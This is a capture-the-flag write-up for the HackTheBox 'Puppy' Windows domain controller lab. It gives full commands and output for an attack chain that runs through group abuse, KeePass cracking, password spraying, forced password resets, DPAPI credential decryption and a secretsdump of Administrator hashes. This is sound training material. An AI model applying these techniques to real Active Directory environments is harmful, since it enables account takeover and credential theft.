HackTheBox - Puppy
Puppy is a Medium Difficulty machine that features a non-default SMB share called DEV
. With the provided credentials for user levi.james
, enumeration of the domain is possible. The enumeration reveals that this user has GenericWrite
privileges over the Developers
group. After adding Levi to this group, we can access the previously inaccessible DEV
share. This share contains the backup of a KeePass
database, which we can download, export the hash of and crack. The database reveals a plethora of username and password combinations. A password spray attack shows that one of the passwords is valid for user Ant.Edwards
. Furthermore, this new user has GenericAll
privileges over the user Adam.Silver
, which allow us to change their password to a password of our choice. After the password is changed, we must re-enable Adam’s account, as it has been disabled, which then allows us to connect to the remote system over WinRM. Lateral movement is achieved by finding the backup of a website, which contains credentials for user Steph.cooper
. Finally, privileges are escalated through DPAPI
credentials that are decrypted using Steph’s password. The credentials revealed belong to Steph.cooper_adm
, presumably the Administrative account of Steph, and a connection can be made over WinRM.
Credentials provided for the box: levi.james / KingofAkron2025!
Enumeration
nmap
We start an Nmap scan using the following command: sudo nmap -sC -sV -T4 {target_IP}
.
-sC: run all the default scripts.
-sV: Find the version of services running on the target.
-T4: Aggressive scan to provide faster results.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
Host is up (0.13s latency). [15/1270]
Not shown: 986 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-05-18 02:01:29Z)
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/tcp6 rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 2,3,4 111/udp6 rpcbind
| 100003 2,3 2049/udp nfs
| 100003 2,3 2049/udp6 nfs
| 100005 1,2,3 2049/udp mountd
| 100005 1,2,3 2049/udp6 mountd
| 100021 1,2,3,4 2049/tcp nlockmgr
| 100021 1,2,3,4 2049/tcp6 nlockmgr
| 100021 1,2,3,4 2049/udp nlockmgr
| 100021 1,2,3,4 2049/udp6 nlockmgr
| 100024 1 2049/tcp status
| 100024 1 2049/tcp6 status
| 100024 1 2049/udp status
|_ 100024 1 2049/udp6 status
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
2049/tcp open nlockmgr 1-4 (RPC #100021)
3260/tcp open iscsi?
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2025-05-18T02:03:25
|_ start_date: N/A
|_clock-skew: 7h00m03s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
The target is an Active Directory Domain Controller with the domain name puppy.htb
.
Let’s add the following to our /etc/hosts file 10.10.11.70 DC.PUPPY.HTB PUPPY.HTB DC
SMB
Using the credentials provided, let’s list smb shares.
1
2
3
4
5
6
7
8
9
10
11
12
[★]$ nxc smb 10.129.190.60 -u levi.james -p 'KingofAkron2025!' --shares
SMB 10.129.190.60 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB 10.129.190.60 445 DC [+] PUPPY.HTB\levi.james:KingofAkron2025!
SMB 10.129.190.60 445 DC [*] Enumerated shares
SMB 10.129.190.60 445 DC Share Permissions Remark
SMB 10.129.190.60 445 DC ----- ----------- ------
SMB 10.129.190.60 445 DC ADMIN$ Remote Admin
SMB 10.129.190.60 445 DC C$ Default share
SMB 10.129.190.60 445 DC DEV DEV-SHARE for PUPPY-DEVS
SMB 10.129.190.60 445 DC IPC$ READ Remote IPC
SMB 10.129.190.60 445 DC NETLOGON READ Logon server share
SMB 10.129.190.60 445 DC SYSVOL READ Logon server share
There is a shared called DEV but we don’t have any permissions over it.
Let’s run bloodhound.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
../certified/BloodHound.py/bloodhound.py -d puppy.htb -u levi.james -p 'KingofAkron2025!' -ns 10.10.11.70 -dc puppy.htb -c all
INFO: Found AD domain: puppy.htb
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
INFO: Connecting to LDAP server: puppy.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: puppy.htb
INFO: Found 10 users
INFO: Found 56 groups
INFO: Found 3 gpos
INFO: Found 3 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC.PUPPY.HTB
INFO: Done in 00M 22S
Let’s open the files on bloodhound and list outbound object control.
We have GenericWrite
over Developers
group, let’s add user levi.james to that group.
1
net rpc group addmem "Developers" "levi.james" -U "puppy.htb"/"levi.james"%'KingofAkron2025!' -S "puppy.htb"
Now let’s list shares again and see if we can access the DEV share.
1
2
3
4
5
6
7
8
9
10
11
12
13
[★]$ nxc smb 10.129.190.60 -u levi.james -p 'KingofAkron2025!' --shares
SMB 10.129.190.60 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB 10.129.190.60 445 DC [+] PUPPY.HTB\levi.james:KingofAkron2025!
SMB 10.129.190.60 445 DC [*] Enumerated shares
SMB 10.129.190.60 445 DC Share Permissions Remark
SMB 10.129.190.60 445 DC ----- ----------- ------
SMB 10.129.190.60 445 DC ADMIN$ Remote Admin
SMB 10.129.190.60 445 DC C$ Default share
SMB 10.129.190.60 445 DC DEV READ DEV-SHARE for PUPPY-DEVS
SMB 10.129.190.60 445 DC IPC$ READ Remote IPC
SMB 10.129.190.60 445 DC NETLOGON READ Logon server share
SMB 10.129.190.60 445 DC SYSVOL READ Logon server share
Great! Let’s check that share.
1
2
3
4
5
6
7
8
9
10
11
12
★]$ smbclient //10.129.190.60/DEV -U levi.james
Password for [WORKGROUP\levi.james]:
Try "help" to get a list of possible commands.
smb: \> ls
. DR 0 Sun Mar 23 07:07:57 2025
.. D 0 Sat Mar 8 16:52:57 2025
KeePassXC-2.7.9-Win64.msi A 34394112 Sun Mar 23 07:09:12 2025
Projects D 0 Sat Mar 8 16:53:36 2025
recovery.kdbx A 2677 Wed Mar 12 02:25:46 2025
5080575 blocks of size 4096. 1499224 blocks available
smb: \> get recovery.kdbx
We found a keepass db file, let’s download it.
I tried using keepass2john to get a hash but didn’t work.
Using this tool keepass4brute we can crack the password protecting the file.
1
2
3
4
5
6
7
8
─╼[★]$ ./keepass4brute.sh recovery.kdbx /usr/share/wordlists/rockyou.txt
keepass4brute 1.3 by r3nt0n
https://github.com/r3nt0n/keepass4brute
[+] Words tested: 36/14344392 - Attempts per minute: 93 - Estimated time remaining: 15 weeks, 2 days
[+] Current attempt: liverpool
[*] Password found: liverpool
We found the password, let’s now read the file.
We managed to get the following credentials.
1
2
3
4
5
jamie.william JamieLove2025!
adam.silver HJKL2025!
antony Antman2025!
steve.tucker Steve2025!
samuel.blake ILY2025!
Using netexec we can see which credential work.
1
2
3
4
5
6
7
[★]$ nxc smb 10.129.190.60 -u users.txt -p passwords.txt --no-bruteforce --continue-on-success
SMB 10.129.190.60 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB 10.129.190.60 445 DC [+] PUPPY.HTB\ant.edwards:Antman2025!
SMB 10.129.190.60 445 DC [-] PUPPY.HTB\adam.silver:HJKL2025! STATUS_LOGON_FAILURE
SMB 10.129.190.60 445 DC [-] PUPPY.HTB\jamie.williams:JamieLove2025! STATUS_LOGON_FAILURE
SMB 10.129.190.60 445 DC [-] PUPPY.HTB\steph.cooper:Steve2025! STATUS_LOGON_FAILURE
SMB 10.129.190.60 445 DC [-] PUPPY.HTB\steph.cooper_adm:ILY2025! STATUS_LOGON_FAILURE
We got a hit on ant.edwards:Antman2025!
Let’s check the user’s outbound object control.
Ant has GenericAll over Adam.silver, let’s change the adam’s password.
1
net rpc password "adam.silver" 'Password123!' -U "puppy.htb"/"ant.edwards"%'Antman2025!' -S "puppy.htb"
Trying to authenticate as Adam tells us that the accounts is disabled.
1
2
3
[★]$ nxc smb 10.129.232.75 -u adam.silver -p 'Password123!'
SMB 10.129.232.75 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domin:PUPPY.HTB) (signing:True) (SMBv1:False) (Null Auth:True)
SMB 10.129.232.75 445 DC [-] PUPPY.HTB\adam.silver:Password123! STATUS_ACCOUNT_DISABLED
Let’s enable the account.
1
2
[★]$ bloodyAD --host dc.puppy.htb -d puppy.htb -u ant.edwards -p 'Antman2025!' remove uac adam.silver -f ACCOUNTDISABLE
[-] ['ACCOUNTDISABLE'] property flags removed from adam.silver's userAccountControl
Now we can authenticate
1
2
3
[★]$ nxc smb 10.129.232.75 -u adam.silver -p 'Password123!'
SMB 10.129.232.75 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domin:PUPPY.HTB) (signing:True) (SMBv1:False) (Null Auth:True)
SMB 10.129.232.75 445 DC [+] PUPPY.HTB\adam.silver:Password123!
Foothold
We can get a shell using evil-winrm
1
2
3
4
5
6
7
8
9
10
11
[★]$ evil-winrm -i puppy.htb -u adam.silver -p 'Password123!'
Evil-WinRM shell v3.5
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\adam.silver\Documents> whoami
puppy\adam.silver
Privilege Escalation
In the C:\ drive we can find a folder called backups that has a zip file.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
*Evil-WinRM* PS C:\> ls
Directory: C:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 5/9/2025 10:48 AM Backups
d----- 5/12/2025 5:21 PM inetpub
d----- 5/8/2021 1:20 AM PerfLogs
d-r--- 4/4/2025 3:40 PM Program Files
d----- 5/8/2021 2:40 AM Program Files (x86)
d----- 3/8/2025 9:00 AM StorageReports
d-r--- 3/8/2025 8:52 AM Users
d----- 5/13/2025 4:40 PM Windows
*Evil-WinRM* PS C:\> cd backups
*Evil-WinRM* PS C:\backups> ls
Directory: C:\backups
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 3/8/2025 8:22 AM 4639546 site-backup-2024-12-30.zip
Let’s download the file and inspect it’s content.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?xml version="1.0" encoding="UTF-8"?>
<ldap-config>
<server>
<host>DC.PUPPY.HTB</host>
<port>389</port>
<base-dn>dc=PUPPY,dc=HTB</base-dn>
<bind-dn>cn=steph.cooper,dc=puppy,dc=htb</bind-dn>
<bind-password>ChefSteph2025!</bind-password>
</server>
<user-attributes>
<attribute name="username" ldap-attribute="uid" />
<attribute name="firstName" ldap-attribute="givenName" />
<attribute name="lastName" ldap-attribute="sn" />
<attribute name="email" ldap-attribute="mail" />
</user-attributes>
<group-attributes>
<attribute name="groupName" ldap-attribute="cn" />
<attribute name="groupMember" ldap-attribute="member" />
</group-attributes>
<search-filter>
<filter>(&(objectClass=person)(uid=%s))</filter>
</search-filter>
</ldap-config>
After unzipping the file we find a file named nms-auth-config.xml.bak
that the clear text password of user steph.cooper
.
We can use the credentials to get a shell via winrm
1
2
3
4
[★]$ evil-winrm -i puppy.htb -u steph.cooper -p 'ChefSteph2025!'
Evil-WinRM shell v3.5
*Evil-WinRM* PS C:\Users\steph.cooper\Documents>
Checking the user’s AppData folder we can find Credentials that holds user credential files used by Windows Credential Manager, and we also find Protect folder which stores DPAPI master keys, which Windows uses to encrypt and decrypt data inside the Credentials folder.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
*Evil-WinRM* PS C:\Users\steph.cooper\appdata\roaming\microsoft> ls
Directory: C:\Users\steph.cooper\appdata\roaming\microsoft
Mode LastWriteTime Length Name
---- ------------- ------ ----
d---s- 3/8/2025 7:53 AM Credentials
d---s- 3/8/2025 7:40 AM Crypto
d----- 3/8/2025 7:40 AM Internet Explorer
d----- 3/8/2025 7:40 AM Network
d---s- 3/8/2025 7:40 AM Protect
d----- 5/8/2021 1:20 AM Spelling
d---s- 2/23/2025 2:35 PM SystemCertificates
d----- 2/23/2025 2:36 PM Vault
d----- 3/8/2025 7:52 AM Windows
The two files we need to download are the following.
1
2
C:\Users\steph.cooper\appdata\roaming\microsoft\protect\S-1-5-21-1487982659-1829050783-2281216199-1107\556a2412-1275-4ccf-b721-e6a0b4f90407
C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9
Now with the help of dpapi.py
we can decrypt the master key using steph’s password.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
dpapi.py masterkey -file 556a2412-1275-4ccf-b721-e6a0b4f90407 -password 'ChefSteph2025!' -sid S-1-5-21-1487982659-1829050783-2281216199-1107 [19/412]
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[MASTERKEYFILE]
Version : 2 (2)
Guid : 556a2412-1275-4ccf-b721-e6a0b4f90407
Flags : 0 (0)
Policy : 4ccf1275 (1288639093)
MasterKeyLen: 00000088 (136)
BackupKeyLen: 00000068 (104)
CredHistLen : 00000000 (0)
DomainKeyLen: 00000174 (372)
Decrypted key with User Key (MD4 protected)
Decrypted key: 0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84
Now let’s decrypt the credentials file.
1
2
3
4
5
6
7
8
9
10
11
12
13
dpapi.py credential -f C8D69EBE9A43E9DEBF6B5FBD48B521B9 -key 0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[CREDENTIAL]
LastWritten : 2025-03-08 15:54:29
Flags : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist : 0x00000003 (CRED_PERSIST_ENTERPRISE)
Type : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD)
Target : Domain:target=PUPPY.HTB
Description :
Unknown :
Username : steph.cooper_adm
Unknown : FivethChipOnItsWay2025!
We got password for steph.cooper_adm.
Listing the members of administrator’s group we see that this user is part of the group.
1
2
3
4
5
6
7
8
9
10
11
12
*Evil-WinRM* PS C:\Users\steph.cooper\appdata\roaming\microsoft> net localgroup administrators
Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Administrator
Domain Admins
Enterprise Admins
steph.cooper_adm
The command completed successfully.
We can use secretsdump to ge the NT hash of administrator.
1
2
3
4
5
6
7
8
9
10
11
[★]$ secretsdump.py steph.cooper_adm:'FivethChipOnItsWay2025!'@puppy.htb -just-dc-user administrator
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:bb0edc15e49ceb4120c7bd7e6e65d75b:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:c0b23d37b5ad3de31aed317bf6c6fd1f338d9479def408543b85bac046c596c0
Administrator:aes128-cts-hmac-sha1-96:2c74b6df3ba6e461c9d24b5f41f56daf
Administrator:des-cbc-md5:20b9e03d6720150d
[*] Cleaning up...
References
Thank you for taking the time to read my write-up, I hope you have learned something from this. If you have any questions or comments, please feel free to reach out to me. See you in the next hack :).